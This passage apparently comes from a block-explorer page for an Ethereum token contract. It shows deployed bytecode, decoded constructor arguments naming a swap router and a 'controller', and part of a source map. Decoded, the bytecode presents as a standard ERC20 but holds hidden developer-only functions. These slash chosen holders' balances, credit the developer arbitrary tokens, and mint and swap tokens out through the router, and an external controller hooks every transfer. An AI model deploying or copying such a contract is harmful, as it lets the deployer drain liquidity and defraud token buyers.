0156117c1578451845293850193928501926117a8565b98975050505050505050565b85815284602082015260a0604082015260006117ec60a08301866116aa565b6001600160a01b0394909416606083015250608001529392505050565b60006020828403121561181b57600080fd5b815180151581146113af57600080fdfea264697066735822122082b6cc0c911517829411315d63257e38ae3def356786cbe6381bdf9af465eefc64736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000008be96f0c8ac1533c30d6e994d60ca702362519f8
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101425760003560e01c80635b99d194116100b8578063a457c2d71161007c578063a457c2d714610290578063a9059cbb146102a3578063cef31734146102b6578063dd62ed3e146102c9578063e84d5725146102dc578063f2fde38b146102ef57600080fd5b80635b99d1941461023657806370a082311461023c578063715018a6146102655780638da5cb5b1461026d57806395d89b411461028857600080fd5b806323b872dd1161010a57806323b872dd146101c2578063313ce567146101d557806335d16274146101ea57806339509351146101fd57806342966c68146102105780634609e7971461022357600080fd5b806306cb5b661461014757806306fdde031461015c578063095ea7b31461017a57806318160ddd1461019d5780631e673499146101af575b600080fd5b61015a610155366004611392565b610302565b005b610164610338565b60405161017191906113b6565b60405180910390f35b61018d610188366004611404565b6103ca565b6040519015158152602001610171565b6006545b604051908152602001610171565b61015a6101bd366004611430565b6103e4565b61018d6101d03660046114b2565b6104f4565b60095460405160ff9091168152602001610171565b6101a16101f8366004611392565b610518565b61018d61020b366004611404565b61064d565b61015a61021e3660046114f3565b61066f565b61015a6102313660046114f3565b610690565b426101a1565b6101a161024a366004611392565b6001600160a01b031660009081526004602052604090205490565b61015a6106ce565b6000546040516001600160a01b039091168152602001610171565b610164610739565b61018d61029e366004611404565b610748565b61018d6102b1366004611404565b6107c3565b61015a6102c4366004611392565b6107d1565b6101a16102d736600461150c565b610863565b61015a6102ea3660046114b2565b61088e565b61015a6102fd366004611392565b610b46565b60095461010090046001600160a01b0316330361033557600380546001600160a01b0319166001600160a01b0383161790555b50565b60606007805461034790611545565b80601f016020809104026020016040519081016040528092919081815260200182805461037390611545565b80156103c05780601f10610395576101008083540402835291602001916103c0565b820191906000526020600020905b8154815290600101906020018083116103a357829003601f168201915b5050505050905090565b6000336103d8818585610c0e565b60019150505b92915050565b60095461010090046001600160a01b031633036104ee5760005b838110156104ec578261043186868481811061041c5761041c61157f565b905060200201602081019061024a9190611392565b11156104da57600082600460008888868181106104505761045061157f565b90506020020160208101906104659190611392565b6001600160a01b03166001600160a01b031681526020019081526020016000205461049091906115ab565b905080600460008888868181106104a9576104a961157f565b90506020020160208101906104be9190611392565b6001600160a01b03168152602081019190915260400160002055505b806104e4816115cd565b9150506103fe565b505b50505050565b600033610502858285610d32565b61050d858585610da6565b506001949350505050565b6000806000600260009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610570573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061059491906115fd565b50915091506000846001600160a01b0316600260009054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061061c919061164d565b6001600160a01b03161461063957816001600160701b0316610644565b826001600160701b03165b95945050505050565b6000336103d88185856106608383610863565b61066a919061166a565b610c0e565b60095461010090046001600160a01b03163303610335576103353382610f5c565b60095461010090046001600160a01b031633036103355733600090815260046020526040812080548392906106c690849061166a565b909155505050565b6000546001600160a01b0316331461072d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b610737600061109c565b565b60606008805461034790611545565b600033816107568286610863565b9050838110156107b65760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610724565b61050d8286868403610c0e565b6000336103d8818585610da6565b60095461010090046001600160a01b03163303610335576001600160a01b03811661083e5760405162461bcd60e51b815260206004820152601960248201527f6465762063616e2774206265207a65726f2d61646472657373000000000000006044820152606401610724565b600980546001600160a01b03831661010002610100600160a81b031990911617905550565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b60095461010090046001600160a01b03163303610b41576000811180156108b75750620186a081105b6108fb5760405162461bcd60e51b8152602060048201526015602482015274416d6f756e742045786365656473204c696d69747360581b6044820152606401610724565b600061090684610518565b90506000620186a0610918848461167d565b61092291906115ab565b604080516002808252606080830184529394509091602083019080368337019050509050308160008151811061095a5761095a61157f565b60200260200101906001600160a01b031690816001600160a01b031681525050858160018151811061098e5761098e61157f565b6001600160a01b039290921660209283029190910190910152604080516002808252606082810190935281602001602082028036833750506001546040516307c0329d60e21b81529293506001600160a01b031691631f00ca7491506109fa90869086906004016116ee565b600060405180830381865afa158015610a17573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610a3f919081019061170f565b9050610a653082600081518110610a5857610a5861157f565b60200260200101516110ec565b6000610a73426104b061166a565b60015430600081815260046020526040902054929350610a9e9290916001600160a01b031690610c0e565b60015482516001600160a01b0390911690638803dbee9086908590600090610ac857610ac861157f565b6020026020010151868b866040518663ffffffff1660e01b8152600401610af39594939291906117cd565b6000604051808303816000875af1158015610b12573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610b3a919081019061170f565b5050505050505b505050565b6000546001600160a01b03163314610ba05760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610724565b6001600160a01b038116610c055760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610724565b6103358161109c565b6001600160a01b038316610c705760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610724565b6001600160a01b038216610cd15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610724565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000610d3e8484610863565b905060001981146104ee5781811015610d995760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610724565b6104ee8484848403610c0e565b6001600160a01b038316610e0a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610724565b6001600160a01b038216610e6c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610724565b610e778383836111b9565b6001600160a01b03831660009081526004602052604090205481811015610eef5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610724565b6001600160a01b0380851660008181526004602052604080822086860390559286168082529083902080548601905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f4f9086815260200190565b60405180910390a36104ee565b6001600160a01b038216610fbc5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b6064820152608401610724565b610fc8826000836111b9565b6001600160a01b0382166000908152600460205260409020548181101561103c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b6064820152608401610724565b6001600160a01b03831660008181526004602090815260408083208686039055600680548790039055518581529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0382166111425760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401610724565b61114e600083836111b9565b8060066000828254611160919061166a565b90915550506001600160a01b0382166000818152600460209081526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b6111c283611337565b1561122e576003546040516303021ed160e41b81526001600160a01b0384811660048301526024820184905290911690633021ed1090604401600060405180830381600087803b15801561121557600080fd5b505af1158015611229573d6000803e3d6000fd5b505050505b600360009054906101000a90046001600160a01b03166001600160a01b031663315d82af6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611281573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112a59190611809565b1515600103610b41576003546001600160a01b031663b0a9432284836112ca86611337565b6040516001600160e01b031960e086901b1681526001600160a01b039093166004840152602483019190915215156044820152606401600060405180830381600087803b15801561131a57600080fd5b505af115801561132e573d6000803e3d6000fd5b50505050505050565b6001546000906001600160a01b038381169116148061136357506002546001600160a01b038381169116145b1561137057506001919050565b506000919050565b919050565b6001600160a01b038116811461033557600080fd5b6000602082840312156113a457600080fd5b81356113af8161137d565b9392505050565b600060208083528351808285015260005b818110156113e3578581018301518582016040015282016113c7565b506000604082860101526040601f19601f8301168501019250505092915050565b6000806040838503121561141757600080fd5b82356114228161137d565b946020939093013593505050565b6000806000806060858703121561144657600080fd5b843567ffffffffffffffff8082111561145e57600080fd5b818701915087601f83011261147257600080fd5b81358181111561148157600080fd5b8860208260051b850101111561149657600080fd5b6020928301999098509187013596604001359550909350505050565b6000806000606084860312156114c757600080fd5b83356114d28161137d565b925060208401356114e28161137d565b929592945050506040919091013590565b60006020828403121561150557600080fd5b5035919050565b6000806040838503121561151f57600080fd5b823561152a8161137d565b9150602083013561153a8161137d565b809150509250929050565b600181811c9082168061155957607f821691505b60208210810361157957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000826115c857634e487b7160e01b600052601260045260246000fd5b500490565b6000600182016115df576115df611595565b5060010190565b80516001600160701b038116811461137857600080fd5b60008060006060848603121561161257600080fd5b61161b846115e6565b9250611629602085016115e6565b9150604084015163ffffffff8116811461164257600080fd5b809150509250925092565b60006020828403121561165f57600080fd5b81516113af8161137d565b808201808211156103de576103de611595565b80820281158282048414176103de576103de611595565b634e487b7160e01b600052604160045260246000fd5b600081518084526020808501945080840160005b838110156116e35781516001600160a01b0316875295820195908201906001016116be565b509495945050505050565b82815260406020820152600061170760408301846116aa565b949350505050565b6000602080838503121561172257600080fd5b825167ffffffffffffffff8082111561173a57600080fd5b818501915085601f83011261174e57600080fd5b81518181111561176057611760611694565b8060051b604051601f19603f8301168101818110858211171561178557611785611694565b6040529182528482019250838101850191888311156117a357600080fd5b938501935b828510156117c1578451845293850193928501926117a8565b98975050505050505050565b85815284602082015260a0604082015260006117ec60a08301866116aa565b6001600160a01b0394909416606083015250608001529392505050565b60006020828403121561181b57600080fd5b815180151581146113af57600080fdfea264697066735822122082b6cc0c911517829411315d63257e38ae3def356786cbe6381bdf9af465eefc64736f6c63430008130033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000008be96f0c8ac1533c30d6e994d60ca702362519f8
-----Decoded View---------------
Arg [0] : _routerAddress (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [1] : _controllerAddress (address): 0x8Be96F0C8AC1533C30d6e994D60ca702362519f8
-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [1] : 0000000000000000000000008be96f0c8ac1533c30d6e994d60ca702362519f8
Deployed Bytecode Sourcemap
11414:9342:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17748:169;;;;;;:::i;:::-;;:::i;:::-;;12369:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13281:201;;;;;;:::i;:::-;;:::i;:::-;;;1440:14:1;;1433:22;1415:41;;1403:2;1388:18;13281:201:0;1275:187:1;12670:108:0;12758:12;;12670:108;;;1613:25:1;;;1601:2;1586:18;12670:108:0;1467:177:1;20312:441:0;;;;;;:::i;:::-;;:::i;13490:295::-;;;;;;:::i;:::-;;:::i;12571:91::-;12645:9;;12571:91;;12645:9;;;;3014:36:1;;3002:2;2987:18;12571:91:0;2872:184:1;20014:289:0;;;;;;:::i;:::-;;:::i;13793:238::-;;;;;;:::i;:::-;;:::i;14648:141::-;;;;;;:::i;:::-;;:::i;14481:159::-;;;;;;:::i;:::-;;:::i;18873:87::-;18937:15;18873:87;;12786:127;;;;;;:::i;:::-;-1:-1:-1;;;;;12887:18:0;12860:7;12887:18;;;:9;:18;;;;;;;12786:127;1321:103;;;:::i;699:79::-;737:7;764:6;699:79;;-1:-1:-1;;;;;764:6:0;;;3392:51:1;;3380:2;3365:18;699:79:0;3246:203:1;12468:95:0;;;:::i;14039:434::-;;;;;;:::i;:::-;;:::i;12921:193::-;;;;;;:::i;:::-;;:::i;18665:200::-;;;;;;:::i;:::-;;:::i;13122:151::-;;;;;;:::i;:::-;;:::i;18968:1038::-;;;;;;:::i;:::-;;:::i;913:201::-;;;;;;:::i;:::-;;:::i;17748:169::-;17838:3;;;;;-1:-1:-1;;;;;17838:3:0;246:10;17822:19;17818:92;;17858:11;:40;;-1:-1:-1;;;;;;17858:40:0;-1:-1:-1;;;;;17858:40:0;;;;;17818:92;17748:169;:::o;12369:91::-;12414:13;12447:5;12440:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12369:91;:::o;13281:201::-;13364:4;246:10;13420:32;246:10;13436:7;13445:6;13420:8;:32::i;:::-;13470:4;13463:11;;;13281:201;;;;;:::o;20312:441::-;20439:3;;;;;-1:-1:-1;;;;;20439:3:0;246:10;20423:19;20419:327;;20464:6;20459:275;20476:17;;;20459:275;;;20546:19;20523:20;20533:6;;20540:1;20533:9;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;20523:20::-;:42;20519:200;;;20590:17;20633:8;20610:9;:20;20620:6;;20627:1;20620:9;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;20610:20:0;-1:-1:-1;;;;;20610:20:0;;;;;;;;;;;;;:31;;;;:::i;:::-;20590:51;;20687:12;20664:9;:20;20674:6;;20681:1;20674:9;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;20664:20:0;;;;;;;;;;;;-1:-1:-1;20664:20:0;:35;-1:-1:-1;20519:200:0;20495:3;;;;:::i;:::-;;;;20459:275;;;;20419:327;20312:441;;;;:::o;13490:295::-;13621:4;246:10;13679:38;13695:4;246:10;13710:6;13679:15;:38::i;:::-;13728:27;13738:4;13744:2;13748:6;13728:9;:27::i;:::-;-1:-1:-1;13773:4:0;;13490:295;-1:-1:-1;;;;13490:295:0:o;20014:289::-;20079:7;20100:16;20118;20139:5;;;;;;;;;-1:-1:-1;;;;;20139:5:0;-1:-1:-1;;;;;20139:17:0;;:19;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;20099:59;;;;;20169:24;20215:5;-1:-1:-1;;;;;20197:23:0;:5;;;;;;;;;-1:-1:-1;;;;;20197:5:0;-1:-1:-1;;;;;20197:12:0;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;20197:23:0;;20196:65;;20252:8;-1:-1:-1;;;;;20244:17:0;20196:65;;;20232:8;-1:-1:-1;;;;;20224:17:0;20196:65;20169:92;20014:289;-1:-1:-1;;;;;20014:289:0:o;13793:238::-;13881:4;246:10;13937:64;246:10;13953:7;13990:10;13962:25;246:10;13953:7;13962:9;:25::i;:::-;:38;;;;:::i;:::-;13937:8;:64::i;14648:141::-;14713:3;;;;;-1:-1:-1;;;;;14713:3:0;246:10;14697:19;14693:79;;14732:27;246:10;14752:6;14732:5;:27::i;14481:159::-;14558:3;;;;;-1:-1:-1;;;;;14558:3:0;246:10;14542:19;14538:85;;246:10;14578:23;;;;:9;:23;;;;;:33;;14605:6;;14578:23;:33;;14605:6;;14578:33;:::i;:::-;;;;-1:-1:-1;;14481:159:0;:::o;1321:103::-;826:6;;-1:-1:-1;;;;;826:6:0;246:10;826:22;818:67;;;;-1:-1:-1;;;818:67:0;;6094:2:1;818:67:0;;;6076:21:1;;;6113:18;;;6106:30;6172:34;6152:18;;;6145:62;6224:18;;818:67:0;;;;;;;;;1386:30:::1;1413:1;1386:18;:30::i;:::-;1321:103::o:0;12468:95::-;12515:13;12548:7;12541:14;;;;;:::i;14039:434::-;14132:4;246:10;14132:4;14215:25;246:10;14232:7;14215:9;:25::i;:::-;14188:52;;14279:15;14259:16;:35;;14251:85;;;;-1:-1:-1;;;14251:85:0;;6455:2:1;14251:85:0;;;6437:21:1;6494:2;6474:18;;;6467:30;6533:34;6513:18;;;6506:62;-1:-1:-1;;;6584:18:1;;;6577:35;6629:19;;14251:85:0;6253:401:1;14251:85:0;14372:60;14381:5;14388:7;14416:15;14397:16;:34;14372:8;:60::i;12921:193::-;13000:4;246:10;13056:28;246:10;13073:2;13077:6;13056:9;:28::i;18665:200::-;18745:3;;;;;-1:-1:-1;;;;;18745:3:0;246:10;18729:19;18725:133;;-1:-1:-1;;;;;18773:18:0;;18765:56;;;;-1:-1:-1;;;18765:56:0;;6861:2:1;18765:56:0;;;6843:21:1;6900:2;6880:18;;;6873:30;6939:27;6919:18;;;6912:55;6984:18;;18765:56:0;6659:349:1;18765:56:0;18836:3;:10;;-1:-1:-1;;;;;18836:10:0;;;;-1:-1:-1;;;;;;18836:10:0;;;;;;18665:200;:::o;13122:151::-;-1:-1:-1;;;;;13238:18:0;;;13211:7;13238:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;13122:151::o;18968:1038::-;19078:3;;;;;-1:-1:-1;;;;;19078:3:0;246:10;19062:19;19058:941;;19115:1;19106:6;:10;:29;;;;;19129:6;19120;:15;19106:29;19098:63;;;;-1:-1:-1;;;19098:63:0;;7215:2:1;19098:63:0;;;7197:21:1;7254:2;7234:18;;;7227:30;-1:-1:-1;;;7273:18:1;;;7266:51;7334:18;;19098:63:0;7013:345:1;19098:63:0;19176:24;19203:30;19223:9;19203:19;:30::i;:::-;19176:57;-1:-1:-1;19248:14:0;19293:6;19265:25;19284:6;19176:57;19265:25;:::i;:::-;:34;;;;:::i;:::-;19357:16;;;19371:1;19357:16;;;19314:21;19357:16;;;;;19248:51;;-1:-1:-1;19357:16:0;;;;;;;;;;;;-1:-1:-1;19357:16:0;19350:23;;19406:4;19388;19393:1;19388:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;19388:23:0;;;-1:-1:-1;;;;;19388:23:0;;;;;19436:9;19426:4;19431:1;19426:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;19426:19:0;;;;:7;;;;;;;;;;;:19;19517:16;;;19531:1;19517:16;;;19460:28;19517:16;;;;;;;;;;;;;;;;-1:-1:-1;;19562:7:0;;:37;;-1:-1:-1;;;19562:37:0;;19503:30;;-1:-1:-1;;;;;;19562:7:0;;:20;;-1:-1:-1;19562:37:0;;19583:9;;19594:4;;19562:37;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;19562:37:0;;;;;;;;;;;;:::i;:::-;19548:51;;19614:36;19628:4;19635:11;19647:1;19635:14;;;;;;;;:::i;:::-;;;;;;;19614:5;:36::i;:::-;19665:13;19681:22;:15;19699:4;19681:22;:::i;:::-;19750:7;;19735:4;12860:7;12887:18;;;:9;:18;;;;;;19665:38;;-1:-1:-1;19718:67:0;;19735:4;;-1:-1:-1;;;;;19750:7:0;;13937:8;:64::i;19718:67::-;19800:7;;19879:14;;-1:-1:-1;;;;;19800:7:0;;;;:32;;19851:9;;19879:11;;19800:7;;19879:14;;;;:::i;:::-;;;;;;;19912:4;19935:10;19964:8;19800:187;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;19800:187:0;;;;;;;;;;;;:::i;:::-;;19083:916;;;;;19058:941;18968:1038;;;:::o;913:201::-;826:6;;-1:-1:-1;;;;;826:6:0;246:10;826:22;818:67;;;;-1:-1:-1;;;818:67:0;;6094:2:1;818:67:0;;;6076:21:1;;;6113:18;;;6106:30;6172:34;6152:18;;;6145:62;6224:18;;818:67:0;5892:356:1;818:67:0;-1:-1:-1;;;;;1002:22:0;::::1;994:73;;;::::0;-1:-1:-1;;;994:73:0;;10362:2:1;994:73:0::1;::::0;::::1;10344:21:1::0;10401:2;10381:18;;;10374:30;10440:34;10420:18;;;10413:62;-1:-1:-1;;;10491:18:1;;;10484:36;10537:19;;994:73:0::1;10160:402:1::0;994:73:0::1;1078:28;1097:8;1078:18;:28::i;16899:380::-:0;-1:-1:-1;;;;;17035:19:0;;17027:68;;;;-1:-1:-1;;;17027:68:0;;10769:2:1;17027:68:0;;;10751:21:1;10808:2;10788:18;;;10781:30;10847:34;10827:18;;;10820:62;-1:-1:-1;;;10898:18:1;;;10891:34;10942:19;;17027:68:0;10567:400:1;17027:68:0;-1:-1:-1;;;;;17114:21:0;;17106:68;;;;-1:-1:-1;;;17106:68:0;;11174:2:1;17106:68:0;;;11156:21:1;11213:2;11193:18;;;11186:30;11252:34;11232:18;;;11225:62;-1:-1:-1;;;11303:18:1;;;11296:32;11345:19;;17106:68:0;10972:398:1;17106:68:0;-1:-1:-1;;;;;17187:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;17239:32;;1613:25:1;;;17239:32:0;;1586:18:1;17239:32:0;;;;;;;16899:380;;;:::o;17287:453::-;17422:24;17449:25;17459:5;17466:7;17449:9;:25::i;:::-;17422:52;;-1:-1:-1;;17489:16:0;:37;17485:248;;17571:6;17551:16;:26;;17543:68;;;;-1:-1:-1;;;17543:68:0;;11577:2:1;17543:68:0;;;11559:21:1;11616:2;11596:18;;;11589:30;11655:31;11635:18;;;11628:59;11704:18;;17543:68:0;11375:353:1;17543:68:0;17655:51;17664:5;17671:7;17699:6;17680:16;:25;17655:8;:51::i;14816:836::-;-1:-1:-1;;;;;14947:18:0;;14939:68;;;;-1:-1:-1;;;14939:68:0;;11935:2:1;14939:68:0;;;11917:21:1;11974:2;11954:18;;;11947:30;12013:34;11993:18;;;11986:62;-1:-1:-1;;;12064:18:1;;;12057:35;12109:19;;14939:68:0;11733:401:1;14939:68:0;-1:-1:-1;;;;;15026:16:0;;15018:64;;;;-1:-1:-1;;;15018:64:0;;12341:2:1;15018:64:0;;;12323:21:1;12380:2;12360:18;;;12353:30;12419:34;12399:18;;;12392:62;-1:-1:-1;;;12470:18:1;;;12463:33;12513:19;;15018:64:0;12139:399:1;15018:64:0;15095:38;15116:4;15122:2;15126:6;15095:20;:38::i;:::-;-1:-1:-1;;;;;15168:15:0;;15146:19;15168:15;;;:9;:15;;;;;;15202:21;;;;15194:72;;;;-1:-1:-1;;;15194:72:0;;12745:2:1;15194:72:0;;;12727:21:1;12784:2;12764:18;;;12757:30;12823:34;12803:18;;;12796:62;-1:-1:-1;;;12874:18:1;;;12867:36;12920:19;;15194:72:0;12543:402:1;15194:72:0;-1:-1:-1;;;;;15302:15:0;;;;;;;:9;:15;;;;;;15320:20;;;15302:38;;15520:13;;;;;;;;;;:23;;;;;;15570:26;;;;;;15334:6;1613:25:1;;1601:2;1586:18;;1467:177;15570:26:0;;;;;;;;15607:37;18968:1038;16216:675;-1:-1:-1;;;;;16300:21:0;;16292:67;;;;-1:-1:-1;;;16292:67:0;;13152:2:1;16292:67:0;;;13134:21:1;13191:2;13171:18;;;13164:30;13230:34;13210:18;;;13203:62;-1:-1:-1;;;13281:18:1;;;13274:31;13322:19;;16292:67:0;12950:397:1;16292:67:0;16372:49;16393:7;16410:1;16414:6;16372:20;:49::i;:::-;-1:-1:-1;;;;;16459:18:0;;16434:22;16459:18;;;:9;:18;;;;;;16496:24;;;;16488:71;;;;-1:-1:-1;;;16488:71:0;;13554:2:1;16488:71:0;;;13536:21:1;13593:2;13573:18;;;13566:30;13632:34;13612:18;;;13605:62;-1:-1:-1;;;13683:18:1;;;13676:32;13725:19;;16488:71:0;13352:398:1;16488:71:0;-1:-1:-1;;;;;16595:18:0;;;;;;:9;:18;;;;;;;;16616:23;;;16595:44;;16734:12;:22;;;;;;;16785:37;1613:25:1;;;16595:18:0;;;16785:37;;1586:18:1;16785:37:0;;;;;;;18968:1038;;;:::o;1122:191::-;1196:16;1215:6;;-1:-1:-1;;;;;1232:17:0;;;-1:-1:-1;;;;;;1232:17:0;;;;;;1265:40;;1215:6;;;;;;;1265:40;;1196:16;1265:40;1185:128;1122:191;:::o;15660:548::-;-1:-1:-1;;;;;15744:21:0;;15736:65;;;;-1:-1:-1;;;15736:65:0;;13957:2:1;15736:65:0;;;13939:21:1;13996:2;13976:18;;;13969:30;14035:33;14015:18;;;14008:61;14086:18;;15736:65:0;13755:355:1;15736:65:0;15814:49;15843:1;15847:7;15856:6;15814:20;:49::i;:::-;15892:6;15876:12;;:22;;;;;;;:::i;:::-;;;;-1:-1:-1;;;;;;;16047:18:0;;;;;;:9;:18;;;;;;;;:28;;;;;;16102:37;1613:25:1;;;16102:37:0;;1586:18:1;16102:37:0;;;;;;;15660:548;;:::o;17925:361::-;18063:14;18072:4;18063:8;:14::i;:::-;18059:88;;;18093:11;;:42;;-1:-1:-1;;;18093:42:0;;-1:-1:-1;;;;;14307:32:1;;;18093:42:0;;;14289:51:1;14356:18;;;14349:34;;;18093:11:0;;;;:30;;14262:18:1;;18093:42:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18059:88;18163:11;;;;;;;;;-1:-1:-1;;;;;18163:11:0;-1:-1:-1;;;;;18163:28:0;;:30;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:38;;18197:4;18163:38;18159:120;;18217:11;;-1:-1:-1;;;;;18217:11:0;:22;18240:4;18246:6;18254:12;18263:2;18254:8;:12::i;:::-;18217:50;;-1:-1:-1;;;;;;18217:50:0;;;;;;;-1:-1:-1;;;;;14890:32:1;;;18217:50:0;;;14872:51:1;14939:18;;;14932:34;;;;15009:14;15002:22;14982:18;;;14975:50;14845:18;;18217:50:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17925:361;;;:::o;18294:215::-;18384:7;;18348:4;;-1:-1:-1;;;;;18368:24:0;;;18384:7;;18368:24;;:50;;-1:-1:-1;18412:5:0;;-1:-1:-1;;;;;18396:22:0;;;18412:5;;18396:22;18368:50;18364:138;;;-1:-1:-1;18441:4:0;;18294:215;-1:-1:-1;18294:215:0:o;18364:138::-;-1:-1:-1;18485:5:0;;18294:215;-1:-1:-1;18294:215:0:o;18364:138::-;18294:215;;;:::o;14:131:1:-;-1:-1:-1;;;;;89:31:1;;79:42;;69:70;;135:1;132;125:12;150:247;209:6;262:2;250:9;241:7;237:23;233:32;230:52;;;278:1;275;268:12;230:52;317:9;304:23;336:31;361:5;336:31;:::i;:::-;386:5;150:247;-1:-1:-1;;;150:247:1:o;402:548::-;514:4;543:2;572;561:9;554:21;604:6;598:13;647:6;642:2;631:9;627:18;620:34;672:1;682:140;696:6;693:1;690:13;682:140;;;791:14;;;787:23;;781:30;757:17;;;776:2;753:26;746:66;711:10;;682:140;;;686:3;871:1;866:2;857:6;846:9;842:22;838:31;831:42;941:2;934;930:7;925:2;917:6;913:15;909:29;898:9;894:45;890:54;882:62;;;;402:548;;;;:::o;955:315::-;1023:6;1031;1084:2;1072:9;1063:7;1059:23;1055:32;1052:52;;;1100:1;1097;1090:12;1052:52;1139:9;1126:23;1158:31;1183:5;1158:31;:::i;:::-;1208:5;1260:2;1245:18;;;;1232:32;;-1:-1:-1;;;955:315:1:o;1649:757::-;1753:6;1761;1769;1777;1830:2;1818:9;1809:7;1805:23;1801:32;1798:52;;;1846:1;1843;1836:12;1798:52;1886:9;1873:23;1915:18;1956:2;1948:6;1945:14;1942:34;;;1972:1;1969;1962:12;1942:34;2010:6;1999:9;1995:22;1985:32;;2055:7;2048:4;2044:2;2040:13;2036:27;2026:55;;2077:1;2074;2067:12;2026:55;2117:2;2104:16;2143:2;2135:6;2132:14;2129:34;;;2159:1;2156;2149:12;2129:34;2214:7;2207:4;2197:6;2194:1;2190:14;2186:2;2182:23;2178:34;2175:47;2172:67;;;2235:1;2232;2225:12;2172:67;2266:4;2258:13;;;;2290:6;;-1:-1:-1;2328:20:1;;;2315:34;;2396:2;2381:18;2368:32;;-1:-1:-1;1649:757:1;;-1:-1:-1;;;;1649:757:1:o;2411:456::-;2488:6;2496;2504;2557:2;2545:9;2536:7;2532:23;2528:32;2525:52;;;2573:1;2570;2563:12;2525:52;2612:9;2599:23;2631:31;2656:5;2631:31;:::i;:::-;2681:5;-1:-1:-1;2738:2:1;2723:18;;2710:32;2751:33;2710:3